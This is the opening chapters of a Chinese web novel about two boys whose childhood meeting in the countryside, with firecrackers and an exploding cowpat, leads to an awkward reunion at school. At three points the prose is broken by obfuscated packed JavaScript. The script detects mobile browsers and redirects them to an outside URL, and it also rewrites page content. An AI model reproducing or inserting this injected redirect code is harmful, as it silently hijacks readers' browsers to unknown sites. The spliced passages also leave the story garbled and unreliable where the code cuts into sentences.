《和二哈竹马结婚前》 1. 拔不出来的 君见微预想过很多种和自己旧日恋人重逢的画面。 也许某日街头相遇,也许刻意托人组局,又或者自己主动联系。 两人找个安静的咖啡厅,坐下来聊聊青涩过往,感叹一下无情变更的岁月人事。 如果气氛正好,情绪上头,共续前缘也未尝不是惊喜。 但是万万没料到造化弄人,两人分开多年,再次相见,竟是在这种情境下。 他看着跪在自己面前的这个男人,一贯平静无波的冷脸上,肌肉微微抽动,将那止不住轻轻发颤的手稍稍置于背后,握起了拳,指尖紧紧掐向掌心。 “你……” 君见微张开了发紧的喉咙,艰难地只吐出了个字,遂才迟钝地想起要向其伸出自己的手。 满身狼狈的男人抬头望着君见微,分明也已经认出了他,那张桀骜不驯的俊容满是红晕,曾经澄澈的眼睛里遍布血丝。 似是终于受不了这种耻辱,男人“啪”的一把打开他的手,然后浑身发抖地从地上爬起来,转身就慌慌张张地跑了。 “安靖!”君见微慌了,大声地喊着男人的名字,在众人瞠目结舌的目光下,追了上去。 那就是他的初恋,安靖。 对,是个男人。 和安靖的第一次见面,就和这多年后的第一次重逢一样,令君见微一生难忘。 那是1999年的夏天,君见微才六岁,正在乡下外公家里做客。 当天时值中午,家人都在二楼午休,君见微独自一人坐在一楼厅堂内练字。 原本只听得外头一片蝉鸣和屋子里空调的呼呼声,不知怎么忽而还夹杂了呼救声。 君见微侧耳细听了几秒,便赶忙置下手中毛笔,起身匆匆出门去看。 便见一男孩站在外公家院子的围墙护栏前,口里一个劲地大声喊着救命。 君见微蹬蹬蹬小跑近前,发现这家伙脑袋竟然卡在了铁栅栏中间,头在内,身子在外,出不去也进不来。 那男孩年纪同君见微相仿,强烈的日光下,皮肤晒得黝黑,脑门和鼻子上覆着一层水亮的汗。 他一见君见微,那双同其头发一般黑的眼睛就如同按下了开关的灯发了光,晒得通红的脸上咧开嘴,露出一口缺了颗大门牙的白牙,再配上那一身黑皮,像极了那种从小高烧烧坏了脑子被扔出家门的小傻子。 小傻子似牢中囚犯般双手紧握着栅栏铁杆儿,还往栅栏里伸长了脖子。一见君见微竟如见到亲人一般,立马将手伸进栅栏里,还朝他使劲招着手,兴奋地喊着,“诶弟弟,理过来,理叫什莫名至啊?” 弟弟?谁是你弟弟? 但不等君见微回应,他就快言快语地先讲起来了:“理知道哥哥叫什莫名至吗?哥哥叫安靖……” 他满脸骄傲,恨不得摇头晃脑做个掉书袋的老秀才模样教导:“安靖是安静、安全的辣个安,靖是郭靖的靖。靖哥哥的辣个靖。理知道肿么写的吗?哥哥教理哦,左边一个立起来的立,右边一个青射的青。哥哥今年七税啦,马上就要上小学了呢。” 叫“安靖”的这个家伙并不“安静”,说话还漏风,有些字眼含糊不清,君见微听起来特别费劲。 但是对方显然丝毫没有注意到这一点,兴致勃勃:“诶,哥哥肿么重来没有见过理啊?这里是理家吗?好大好漂亮啊!理叫什摸名至啊?今年几税啊?要不要和哥哥一起玩啊?哥哥买睡睡冰给理吃好不好啊,理吃过睡睡冰吗?可好吃啦!” “对不起,请容我打断一下。” 君见微那时颇为自负,双手像个大人一样环胸抱臂。 他轻轻蹙起自己的那两撇小眉毛,盯着眼前的状况满脸严肃道,“你是不是应该先解决一下当前紧要问题——让自己的头出来再说?” “哦,对哦,”安靖似乎这才想起自己的脑袋还卡在人家家的栅栏里呢,赶紧用双手握住脑袋两边的铁杆,头使劲往外拔。 但是如果能拔-出来,之前他也不会舍下脸皮喊救命了。 君见微瞅见他这副拔得自己脑袋满脸通红的难受模样吓坏了,急忙上前按住了他的头:“你别动了,拔不出来的,拔坏了脑袋就不好了。等等啊,我去叫人来帮忙。你绝对不许动啊。” 等君见微把保姆刘姨还有爷爷叫出来时,院子外已经站了两个大人和三个小孩,正围在那个叫安靖的男孩身边叽叽喳喳说着话。 大人们皱着眉尝试着帮安靖把头从铁栅栏里拔-出来。 安靖疼得“啊啊”大叫,“轻一点!轻一点!QAQ我的头,我的头要破掉了呜呜呜……” 旁边围观的小孩却不知愁,瞅着这景象都嘻嘻哈哈笑作一团。 君见微爷爷见状,赶忙像君见微之前一般制止了那两个大人的行为,然后让刘姨去屋里把电锯找来。 安靖爸爸特别不好意思,站在这高大别致的勾花铁栏杆前,望了眼里面那秀丽的花苑和漂亮的乡郊大别墅,局促地搓着手:“这,这,小孩子调皮,搞得还要把你门给弄坏了……” 大手还毫不客气地狠狠打了一下自家现世宝的屁股:“赶紧道歉。” 安靖痛得嗷地大叫了一声,苦逼兮兮地对君见微的爷爷大声说了爷爷对不起。 君见微爷爷摆摆手,乐呵呵地说没事,小孩要紧。 安靖接着就大黑眼珠子一转,双眸亮晶晶地瞅向站在一边一直没说话的君见微:“对了,弟弟,理叫什莫名至啊?” 君见微瞄了一眼周围几个大人,不咸不淡地答道:“君见微。” “君见微,”安靖望着君见微嘴里重复了一遍,似乎在向他确认,随即又问,“你姓君啊?喇个君啊?解放军的军吗?” “君子之交的君。” 安靖似乎听懂了,又似乎没听懂,还想说什么,刘姨已经拿着电锯从屋里出来了。 安靖和其他三个小孩齐齐“哇——”了一声。 君见微:…… 君见微的爷爷指着铁栏杆,和另外两个大人商讨着锯断的位置和高度。 安靖突然想起什么,从兜里掏出没吃完的半包□□糖,朝君见微递去:“君见微,理吃不吃□□糖啊?” 安靖爸爸头疼地拍了下这会还不安分的安靖的脑袋:“你事怎么那么多啊!” 君见微看着安靖手里那包早就开了封口,包装袋皱巴巴的□□糖,还有安靖那只沾了不少铁栅栏上的灰的手,皱起了小眉毛。 旁边三个小孩嚷嚷起来:“安靖哥哥,我也要吃!” 安靖倒是很大方,拎着□□糖到眼前,用他那个被卡在栅栏里的脑袋费力地瞧了瞧里面的剩余量,然后亲自给其他每个小孩分上三个,“好了咯,剩下的要留给君见微弟弟。” 君见微目视那三个小孩脏兮兮的手,心里还泛着抵触,就听到自己居然还有份,马上拒绝了:“不用,谢谢,我不想吃。” “哦,那理喜欢吃什么啊?我家还有旺旺仙贝和雪饼……” 安靖爸爸无语地又狠狠打了一下安靖的屁股:“你的废话怎么这么多?要开始锯了,给我闭上你的嘴。” 那一天,四个小孩顶着七月烈日,津津有味地人生第一次目睹了电锯锯铁杆——安靖因为被爸爸捂住眼睛避免铁屑掉进眼睛里,很遗憾没有看到。 在电锯震耳的嗡嗡声过去后,安靖的爸爸把捂着安靖眼睛的手挪开,眼前的君见微已经不见了人影。 “君见微呢?” “人家回家学习去了,哪里像你,一天到晚像只疯猴子似的,净给我惹事添麻烦!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142078|164526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安靖爸爸坚持把人家的铁栅栏修理费赔付了,然后拽着安靖回了家。 远远地还能听到安靖用那张牙齿漏风的嘴巴,跟爸爸一路上没完没了的说话声。 第二天上午,挨完揍的安靖就跑来别墅找君见微玩了,他站在大铁门前高声大喊着君见微的名字。 “君见微!!——我是安靖!!——” “君见微!!——出来玩——呐!!” “君见微!!——” “外面那个小男孩是谁啊?微微你认识吗?”君见微妈妈许汐敲门进来问道。 “是昨天那个小朋友吧?找你出去玩呢,”正在看报纸的君见微外公笑眯眯地对自家外孙说道。 手中抱着《十万个为什么》的君见微抬起头,瞥了眼窗外的方向,脸上露出些困扰的表情,扭过头对刘姨说道:“刘姨,跟他说我不在。” 刘姨出去了。 不多会,外面就没了声。 “难得来外公这,不想出去玩?” 君见微犹豫了一瞬,还是诚实地和外公说道:“我和他那种人,不适合同在一起玩。” “小朋友和小朋友,哪里有什么不适合在一起玩的,”外公看着小小年纪作出一副一本正经模样的君见微,心头发笑。 “算啦,微微不想出去玩,由他吧,”颇有些自傲的许汐也是不大愿意看见自己儿子跟这些乡下野孩子混在一起的。 但是君见微万万没想到,第二天,安靖又来了。 同样理由拒绝后,第三天再次来了。 “君见微!!——债家吗——?” “君见微!——” 君见微长叹一口气,知道躲避不了,只好出了门。 安靖正站在院子大门外,穿着脏兮兮的短袖和短裤,踩着一双破旧开裂的褐色皮凉鞋,露出污黑的小脚趾头。 看到君见微出了别墅门,安靖黑脸蛋上那双眼睛又像按下开关的灯泡一样迸发出光亮,嘴巴咧得都要到耳朵下面去了。 他小手举高了拼命摇晃生怕人看不见自己:“君见微,君见微!我债这!还记得哥哥吗?!哥哥叫安靖!理出来不?哥哥带理去玩呐!” 君见微听见他那漏风的声音就感觉浑身不适,皱起小眉毛:“我不……” “前两天理不债,我和其他小朋友下河捉了好几只虾和小鱼呢,后来还被我妈妈炒了,我们一家人吃掉了!哦,对了,理知道吗?昨天去摘果子的时候,我爬到一棵山~~成楼那么高的树上,重鸟窝里掏到山个鸟蛋!然后生火烤了,肥窄还去家里偷了几个红薯放债火里一起烤着吃!可甜可香啦!弟弟理去不去?我找爸爸要了钱,” 安靖从兜里掏出几张皱巴巴的毛票和一盒比巴卜,现给君见微看,两只眼睛亮晶晶的,“一会我们可以去买烟花爆竹,仙女棒理玩过没有?我们还可以买刮炮,摔炮,还有二踢脚!我们可以炸水玩,能炸得老高老高呢!” 君见微回头望了望家门,又看了眼手腕上的手表,有些犹豫地对安靖说道,“那,就去一个小时,一个小时后我还要回来做奥数的。” 和家里报备后,君见微戴了顶他和爷爷钓鱼时会戴的渔夫帽出门,并给了安靖一顶太阳帽。 安靖如同得到了奖赏的狗子一样激动,不时用手去摆弄头上的帽子和脖子下的系绳儿,又去瞅身边戴着藏青色渔夫帽的君见微。 帽檐下君见微的脸蛋白嫩得跟雪团做的一般,眼睛微微低垂的睫毛根根纤细,唇色偏淡,粉粉的。一身英伦风的衬衫和细条纹短裤穿得整整齐齐,手腕上戴着石英走针手表,腰上系了根皮带,脚上穿着发亮的黑皮鞋,像个小大人,真是漂亮又帅气,就跟安靖平日看的港片里的世家小公子一般。让人看了就忍不住心情欢喜。 2. 你能不能快点啊! 灼眼发白的阳光铺在乡下的一幢幢平房上,连房前栽种的树的树叶也被太阳照得亮成金色。 这种天□□都不爱在外面睡觉,但是满身精力的小孩绝不畏惧,时不时可以看见几户门口前,小女孩们念着什么“一上一,一下一”跳皮筋,还有玩跳房子的。而四周还能听见有不知藏在何处的炮仗突然爆炸的声音,小孩尖声大笑,狗叫,大人斥骂。 一路上,安靖那张嘴巴就没停下来过,剥开比巴卜泡泡糖,问君见微吃不吃,被君见微拒绝了。 “是草莓味的诶,理不吃吗?” “不吃,谢谢。” “这个可以吹泡泡的,理会不会吹?一会我吹给理看哦。” 君见微真是没见过比安靖再烦人话多的小孩了! 但是良好的修养让他最终只是归于沉默不语。 剥开包装纸后,泡泡糖外面还裹着一层卡通纹身贴纸,安靖撕下来,又问君见微要不要贴这个纹身贴,遭到拒绝后自己兴致盎然地把它贴在了他那只晒得涂了酱一般的黑胳膊上,还得意洋洋地给君见微看:“好看不?” 傻透了。君见微不作声,他真的要被安靖烦死了啊。 看着身边君见微那张总是绷着的脸,安靖决心要吹一个大泡泡让君见微瞧瞧,所以他又吃了一个。 两块粉色泡泡糖放在嘴里使劲嚼动着,混杂了唾液又经过嚼动后变得又韧又粘,安靖灵活的唇舌把泡泡糖套裹在舌身上,随即又将其褪至舌尖前,嘴唇嘟起,对着造出来的泡泡糖套子口慢慢吹气。 但他缺了两颗门牙,从前熟稔的这些动作如今有些费力,故而吹得很是小心,终于是果真被他吹出一个又大又圆的粉泡泡,几乎有他脸那么大。 安靖立马激动地用手拍君见微,示意君见微看他吹的泡泡。 君见微也是第一次见到能吹到这么大的泡泡,但还没来得及生出更多情绪,那只巨大的粉色泡泡就炸开了,粘覆在安靖的整张脸上。 君见微:…… 然后君见微就见到安靖司空见惯地把脸上的泡泡糖扒下来,塞回嘴巴里,继续嚼动。 君见微:!!! 安靖:? 君见微被安靖这副邋遢样刺激得几欲作呕,皱了皱眉,别开头去。 之后安靖再怎么吹泡泡,同他说话,他都没有展现出多少兴趣了。这让安靖很是挫败,好在小卖部已经到了。 小卖部里头的货架上有各种饮料食品和日用品,外面玻璃柜台里放着香烟,而柜台之上,墙壁的挂货架上,还有外面小长桌摊子上,则摆满了各种让小孩兴奋的小零食和小玩具,比如真知棒、星球杯、炮仗、鸡毛毽子、泡泡水、画片。 店老板是个四五十岁的胖大婶,眉毛和嘴巴旁边都长了个痦子。店里还养了只通身漆黑的黑猫,正趴在外面摊子桌脚边眯着眼睛睡觉。等闲小孩是决计不敢伸手去摸那只猫的。据安靖说,这只大猫曾经凭一猫之力,战退四只野狗。至于真实度就不知道有多少了。 安靖生怕君见微没见过没玩过炮仗一般,像个负责任的导游一般给他介绍着自己最感兴趣的几种:“这个是刮炮,用鞭炮头像刮火柴一样刮一下盒子侧面,然后扔掉,就会爆炸了。这个是摔炮,摔在地上就会爆炸。……这种就是我跟你说的二踢脚,特别特别厉害!隔壁涛涛就是用这种鞭炮把自己家好大一个水缸都给炸掉了,被他爸爸打了一顿……嗯,理吃冰棒不?我买给理吃?” 君见微顾忌到自己平日的家教,有区别于这些四处撒野的小孩,便没好意思去拿鞭炮,只矜持地拿了几根类似仙女棒的小烟花。 但是安靖却是谙熟此道。“月婶!”他叫了声老板娘,把自己挑的几盒鞭炮,两包辣条和两个星球杯都放在柜台上,踮着脚指着柜台上的打火机,“拿个打火机,再帮我拿一个那个,老鼠烟花,就是会在地上转来转去的那个!” 君见微没拦住安靖帮自己手里的烟花也付了钱,只好给安靖买了支可爱多甜筒冰激凌作为回礼。 不过安靖似乎是误会了什么,他的那张蠢脸上再次乐开了花,朝君见微露出少了俩门牙的笑容。 君见微:…… 深刻明白了“不堪入目”这个成语的意思。 两个人一边吃冰激凌一边往安靖家里走,因为安靖坚持要炸搪瓷杯给君见微看。而君见微实际上就是奔着这个来的。 君见微也才了解到,安靖其实并不是乡下小孩,这里是安靖爷爷家,这次也是放假就来爷爷家玩了,只是第一天起就跟周围的小孩全都混熟了。 还没到家,已经把甜筒冰激凌吃完的安靖便拿出刮炮,开始了他的表演,一会把炮仗扔到人家的鸡窝里,炸得鸡飞狗叫,一会又扔到水坑里,激起半米多的水花。而且每次都要侧头用他那双黑亮的眼睛去瞅君见微的反应。 但是君见微很快就皱着眉,严肃地拦住了他炸人家鸡窝和屋顶的行为:“你这是扰乱社会治安和损害他人财产的行为,知道吗?” 安靖听不太懂,可是看君见微很生气,只好停了手。 君见微以为这回安靖可以消停了,孰料下一秒就见安靖钻进了草丛。 君见微:“……你干嘛啊?” “……捉到了!你看,蚱蜢!”安靖把手里捏着的那只绿色蚱蜢高高举给君见微看。 君见微简直是气得火冒三丈,终于忍不住扯下他温文尔雅的伪装,大声道:“拜托你能不能快点啊!不要再磨磨蹭蹭了!要不然我回家去了!” 安靖赶紧放了蚱蜢,老老实实专心带他往爷爷家去。 “离我远点,你身上弄得好脏,”君见微毫不客气地说道。 本来走着走着就往他身边贴靠的安靖有些懊丧地小声哦了一下,乖乖离远了点。 到了爷爷家,安靖进家门没多会,就拿了个搪瓷杯跑出来,一看到君见微还站在门口,心里欣喜,正要开口,却被人叫住了。 原来是坐着爸爸的摩托车刚到家门口的涛涛,看见安靖就叫了。待摩托车一停,他便从摩托车上跳下来,开心地朝着安靖跑过来。 君见微认出这个小孩就是前两天看安靖卡门笑话的小孩之一。但是安靖显然不记仇,大大方方跟那小孩打了招呼,还把君见微不要的星球杯和辣条给了涛涛。 “买了什么,我看看,”涛涛早就看中安靖那袋子炮仗了,把零食往兜里一塞就伸手去扒拉安靖手里那袋子,而袋子里已经被安靖之前玩得只剩下二踢脚和老鼠烟花。 “我们找个空旷安全的地方放吧,”君见微建议,早点放完,他赶紧回家,已经不想跟这家伙多呆了。 安靖心里重复了两遍“空旷”这个似乎特别高级的生词,他不由再次钦佩君见微不仅长得好看,还聪明,懂得好多。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142079|164526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >涛涛却道,“没事,就在这玩吧这里没人,我爸都进屋去了。安靖家只有他爷爷,耳朵聋得打雷都听不见。” 君见微看了看周围,大热天的确没什么人在外面闲逛,只好同意了。 他从安靖手里接过他的小烟花,小心点着火,很快烟花顶端就“嗤嗤”地冒出了耀眼的火花星子,就像妈妈买来的满天星,不,比那满天星还好看。满天星可没这么好玩。 君见微忍不住心中欣喜,但是又要保持矜持,只好小幅度晃着。 安靖就见到君见微一直绷着的脸上露出些许笑来,那粉粉的嘴唇弯起来好看极了。 他舔舔嘴巴,总算知道了君见微喜欢什么,突然深感到了手里的炮仗今日任务之重大,今天一定要让君见微玩得开心。 “君见微,你看,”安靖拿出那只老鼠造型的烟花放在地上,点着后就赶紧跳开了。 那只老鼠烟花就像一只耀眼的流星老鼠一般,浑身冒着金色、银色的星星,在地面上横冲直撞,窜来窜去,然后就朝着三个小孩冲了过来! “啊啊啊啊!!” 完全没料想到这一幕的三个孩子尖叫着赶紧纷纷抱头四散逃开,但是老鼠烟花的路线是毫无根据的,所以三个孩子大脑空白、慌不择路地很是跑了一段距离才停下来,回过头看是否还跟在后面,就见那只火老鼠只一个劲地在原地打转,无数火花形成一个又一个环。 不由松了口气,抬起头,结果便对上另外两个嘴里喘气、脸上流汗的小孩,三人面面相觑,虚惊一场下,忍不住笑了出来。 “可惜不是在晚上,不然更好看呢,”安靖看着地上已经歇了菜的老鼠烟花,有些可惜地说道。 涛涛催促道:“快快快,点二踢脚吧。” 终于到了君见微期待已久的环节。 安靖蹲在地上,用搪瓷杯罩住二踢脚,然后小心翼翼地提起搪瓷杯杯沿,按下打火机,蹲在旁边围观的涛涛和君见微赶紧站起来,后退了两步,待安靖点着二踢脚放下杯子那瞬间,三个孩子如脱兔般飞速窜开。 “嘭!!!” 搪瓷杯被炸上了高空。 原来,真的能被炸到三层楼那么高啊。 只在电视上见过火箭升空的君见微看着杯子直冲天空,越过安家的二层平房楼顶好一段距离然后掉落下来,心里感叹着。并默默做了个打算——将来要是有机会,去现场近距离看看火箭发射好了。 “再来再来!”涛涛兴奋地说道。 安靖捡起已经被炸烂得没法盖住二踢脚的搪瓷杯,抬头道:“这是我家最后一个搪瓷杯了,你家还有吗?” 涛涛:“我家水缸都让我炸掉了。我爸不让我炸了。” 君见微:…… 他想看的已经见识完了,心满意足,便想打道回府,“炸完了,那我回家去了。谢谢你带我玩,再见……” 安靖急道:“你这就回家啊?再玩一会啊。” “就是,这二踢脚还有呢,”涛涛意犹未尽,“没搪瓷杯,咱们可以去炸牛屎啊!炸杯子实际上也没什么好玩的,二踢脚就是用来炸牛屎才好玩呢。” 安靖忙怂恿道:“对对对!你还没见过炸牛屎吧!可好玩了!” 的确没见过……而且炸牛屎能有什么好玩的!君见微想想就觉得恶心。 -_-||可是,就莫名地很想看…… 3. 牛屎侠 牛屎这种东西在乡下明明随路可见,安靖带君见微回爷爷家的路上都见到了两大泡,偏偏要找的时候又找不到了。 一路询问好几个小孩后,才终于在一户人家房子后面找到了还没来得及收拾的牛屎。而这时,围观炸牛屎的队伍里也多了好几个。 一泡,又黑又大,飘散着微妙气味的牛屎,旁边还掺了几根稻草。 “这牛也太厉害了,拉得好多啊,用我爷爷家那口煮饭的大黑锅都不一定能装下,”安靖站在一旁感叹道。 君见微:…… 没有人会用煮饭的黑锅来装牛屎吧?! 涛涛催道:“快点快点,二踢脚呢?插进去。” 安靖凑近牛屎,蹲了下来,然后拿了一根二踢脚,从牛屎顶端插了进去。 这牛屎外表已经有些风干,蒙了薄薄一层灰,安靖费了点力才按着二踢脚戳穿了牛屎外表,之后进到里面就顺畅多了。 旁边还有小孩嚷道:“插深一点!按进去,留个头在外面就行。”随即又跟身边的小孩叽里呱啦宣讲之前自己炸牛屎时怎么炸的,当时一副怎样的景象,几乎是手舞足蹈,似乎颇有经验的样子。 安靖照做了,遂拿出打火机开始点,其他小孩见状急忙向后连退了好几米。 孰料,半天也不见安靖点着。 “还没好吗?!” “再等一下!” 牛屎是堆在房子后面,可能因为周边构造的原因,总是有股穿堂风吹过来,打火机的小火苗几乎是一出现就被吹灭,用小手护着也不顶事。 涛涛上前帮忙,也是半天没点着,旁边几人都等烦了,一个个出着主意。 君见微也不知道自己为什么要留在这里看这个!! 一向自恃情操高尚,还有点洁癖的他,心里本来对这种事很抵触才是,甚至还有点怕。 可又不得不承认内心深处对这没见过的场面有着难以压抑的好奇,君见微十分鄙视这样低级趣味的自己。 而等了好一会,这会他也急了,看着这群笨蛋的点火方式,听着旁边出的一个个馊主意,参加过野外求生夏令营的他更是直想翻白眼,走上前,向涛涛伸手:“打火机给我,都退后点。” 不知为何,那股子很自然的命令语调和不容驳斥的态度让涛涛莫名乖乖地就交出了打火机。 君见微接过打火机,按照从前夏令营领队教过的方法,找好角度,用手护着,顶着浓烈的牛屎气味,按下打火机就将牛屎顶端那根引线成功点燃了。 说时迟那时快!只听得“嘭!!!”的一声,一大坨黑不拉几的牛屎在爆炸声中窜上天!!! 然后坠落了下来。 果真是壮观。 “哇哦!!!!”小孩们全欢呼起来。 安靖却看着还蹲在原地的君见微,愣住了。 “君见微!!”他跑了过去。 蹲在牛屎旁的君见微慢慢站了起来,满头满身都是乌青的牛屎,原本漂亮的那顶渔夫帽和小衬衫、短裤都被牛屎不同程度覆盖了。 安靖甚至能用肉眼明显看到君见微浑身发着抖。 身后传来小孩“哦哦”的起哄声和哄笑声,什么“牛屎侠”、“屎娃娃”、“屎壳郎”的外号当即取上了。 君见微那只还沾着牛屎的手一把攥住了安靖的手,不等安靖反应,就突然一把将他推进了地上那遗留了一半的牛屎里,然后狠狠往地上吐了几口黑色的唾液,跑走了。 君见微的内心是崩溃的。 他从小到大一贯自持冷静,从没有如此失措过,大脑头一次无法思考! 被太阳晒得发白显得那么高远的天空,乡下空旷的田埂与杂草丛,还有远处低矮起伏的山脉轮廓。 天地茫茫之大,他竟无处可去。 只能奋力地朝前跑着,直到,耳边再也听不见那些尖声嘲笑,直到,只剩呼呼风声。 他不想让任何人看见他这副模样。 眼睛里,嘴里,鼻子里…… 他恨不得把自己整张皮肉给扒下来,即便因此死掉也无所谓! 他已经无心关注浓烈的牛屎味,重点在于他脸上和身上那股可怕的黏腻感。 胸腔中鼓涨着无数无处可说的委屈,鼻子一酸,眼睛一热,两行热泪就落下了,抬手去擦,又是牛屎!全是牛屎! 好不容易见到一条河,他望了望周围,蹲在河边,把上衣脱下来,手表也拆下来扔至一边,从河里捧起不算干净的河水狠狠地洗着脸和头发,还有身上。 若说从前,这么一条脏兮兮的河,他碰都不会碰一下。 可如今,这世上怕是再也找不到比他脏的东西了。 君见微一边小心地观察周围有无他人,一边尽力把自己拾掇得差不多了。他站起身,找到外公家的方向后,就顶着一头湿头发,光着上身,穿着湿漉漉的短裤,用尽全身力气跑回了外公家。 一到家门口,正碰上戴着一顶草帽出门的外公,见到君见微有些惊讶,和蔼地问道:“回来了?怎么打着赤膊呢?碰到什么事了?” 原本坚强的君见微看到外公,委屈上头,朝着外公怀里扑了过去:“外公……” 孰料慈爱的外公连连后退了几步:“别,别过来,等一下,微微,你沾了什么,怎么浑身一股臭味……” 君见微望着满面惊恐,待他如洪水猛兽的外公,这一路上强撑着为自己打造的冷静伪装,终于是再度崩塌,他哇地一声哭了出来。 外公愈是安慰,他哭得愈是委屈伤心,尽管是上气不接下气,依旧是扯着嗓子把内心里压抑了一路的话喊了出来: “我再也,再也不要和他们玩了!我不想再见到他!我讨厌他们!我恨他们!呜呜呜……” 再然后,安靖来君见微外公家找君见微时,从那个大婶嘴里得到的消息就是,君见微已经离开外公家,回自己家了。这让安靖失落了好一阵。 “你没有跟他说,我很讨厌他,不想再见到他,不想再同他玩了吗?”君见微紧紧追问刘姨。 一旁外公无奈道:“多大的仇怨啊,跟人家小朋友说这么伤人的话。还记得外公教过你的吗?‘君子以仁存心,以礼存心’。何况以后你们俩说不定不会有机会再碰到了。是不是?” 君见微皱起眉毛:“可是我以后还要来看您的啊,我不可能来乡下就躲着他吧……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142080|164526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许汐笑着说道:“你爷爷同意搬去城里住了。” “真的啊?!”君见微听到这个好消息,喜笑颜开,尤其他实际上潜意识里压根就不想再来这个给他留下无限恐怖回忆的地方了。 那个夏天,君见微和妈妈带着爷爷搬去了省城。 而认识那个安靖,而后发生的一切,都只是一场短暂的噩梦。今后再也不会有了。 回到市里后,君见微才知道外公病了。 难怪妈妈空出时间来陪他去外公家。 到市里没几天,外公就住进了市医院。而他也升入了小学,成为了一名小学生,并且在开学小测中,拿到了满分。 似乎除了外公的病让人担忧,身边的一切都是按照他习惯且拿手的规则和轨迹发展,这种能够游刃有余的掌控感令人安心又愉悦。 但是天有不测风云。 在一个普通的周一早上,全班刚刚升完国旗回到教室继续早读时,班主任带着一个小孩进了教室。 猛地瞅见班主任身边那张熟悉又可怕的脸,君见微心中那股难忍的恐惧缓缓升起,下意识就拿起书低下头挡住了自己的脸。 “新同学因为受伤胳膊骨折,晚了两个星期入学,来,你自己做个自我介绍吧,”班主任亲切地对左胳膊上还打着石膏的安靖说道。 安靖挺起胸膛,稚声稚气地大声道:“我叫安靖,安静的安,靖是靖哥哥的靖。我今年七岁啦!最喜欢的动物是小狗,最喜欢的菜是红烧肉,我……君见微?!!” 站在讲台上的安靖视野宽广卓越,自我介绍的时候就在到处乱瞄,没想到竟然就在这个新入学的班级里瞄见了暑期一起玩过的君见微! 他兴奋地指了指第三组第三排座位上的君见微,骄傲地对班主任说道:“老师,我认识这个小朋友,他叫君见微,是我的好朋友。” 君见微听到安靖喊出他名字,心里就猛地咯噔了一下,后听到安靖竟然能昧着良心说出他俩是好朋友这种话,简直是目瞪口呆。 “哦?这么巧啊,”班主任笑眯眯道,“那你们俩做同桌好了,胡自远同学你就坐到张歌旁边好了。不过上课不准说小话知道吗?你们要互相学习,共同进步。” 谁要跟他互相学习啊!学炸牛屎吗?! 君见微当即站了起来:“老师,我和他不是朋友!” 安靖还没说话,只当小朋友生气闹别扭的班主任就开口了:“好了,你作为第三组的语文小组长,也要好好照顾新同学啊。安靖同学的胳膊骨折了,很多事不方便。不是朋友就重新再做朋友嘛。” 君见微张了张口,最终咽下他想辞去他从一开始就不想要的语文小组长职位的话,心有不甘地看着原本的同桌胡自远搬离。 而原本有些委屈的安靖则高高兴兴地在君见微旁边坐下了。 等看到老师离开后,他就迫不及待,亲亲热热地对君见微说道:“君见微,我之前去找你玩,你都走了。没想到你也上这个小学,跟你做同桌,好开心啊。” 君见微充耳不闻,目不斜视,心里恶狠狠地想着,如果安靖敢把自己炸得一身牛屎的事情说出去,自己就把他摔进牛屎的事也说出去。 4. 拉钩钩 安靖见君见微没理会自己,便小声唤其名字:“君见微,君见微……” 一声比一声喊得大,周围还有同学看了过来。 然而坐在他身边的君见微却是连眼神都没给他一个,只认真地读着书。 安靖有些着急,用手指头戳了戳君见微:“君见微,我喊你呢,你听到吗?你怎么不理我啊?” 本来他还以为以后很难再见到君见微了。 然而预想中好友相见尖叫着嘻嘻哈哈相拥的画面没有出现,甚至君见微还好似对自己视若无睹,尤其先前还说他俩不是朋友。 君见微头也没转,口上说道,“早读课好好早读可以吗?我和你不是朋友。不要打扰我学习。” 又来了,他又说两人不是朋友! “怎么不是朋友啊?”安靖不高兴地撅起嘴。 他们俩还一起玩了呢,君见微当时还给他买了一支可爱多呢!难道君见微不记得了吗?为什么会突然就不喜欢他,不想和他做朋友了呀? 安靖不由想到妈妈看的电视剧里男主角车祸后失忆,把女主角给忘了的场景…… 不会君见微也是不小心被撞到头然后把他俩曾经美好的回忆给忘了吧?! 安靖越想越害怕,犹豫着小心试探:“你不记得了吗?那天我们在乡下玩鞭炮,你炸了一身……” 却被君见微以迅雷不及掩耳之势一把捂住了嘴巴。 君见微那双漂亮又狭长的眼睛先是飞快地环顾了一圈四周,然后死死瞪着他,咬牙切齿地低声道:“你要是敢说出去,我就……总之,你不会想知道那种后果的。” 哦……原来君见微一直在难过这个啊,早说嘛,吓他一跳,还以为君见微忘记了他,讨厌他了呢。 安靖心里豁然开朗! 那双黑白分明的眼睛在君见微蒙住他嘴的小手上方漾出快乐,浓长的羽睫忽闪忽闪地眨巴了两下,脑袋点了点,黝黑的大眼珠子骨碌一转,安靖伸出右手小手指:“我们拉钩钩。” 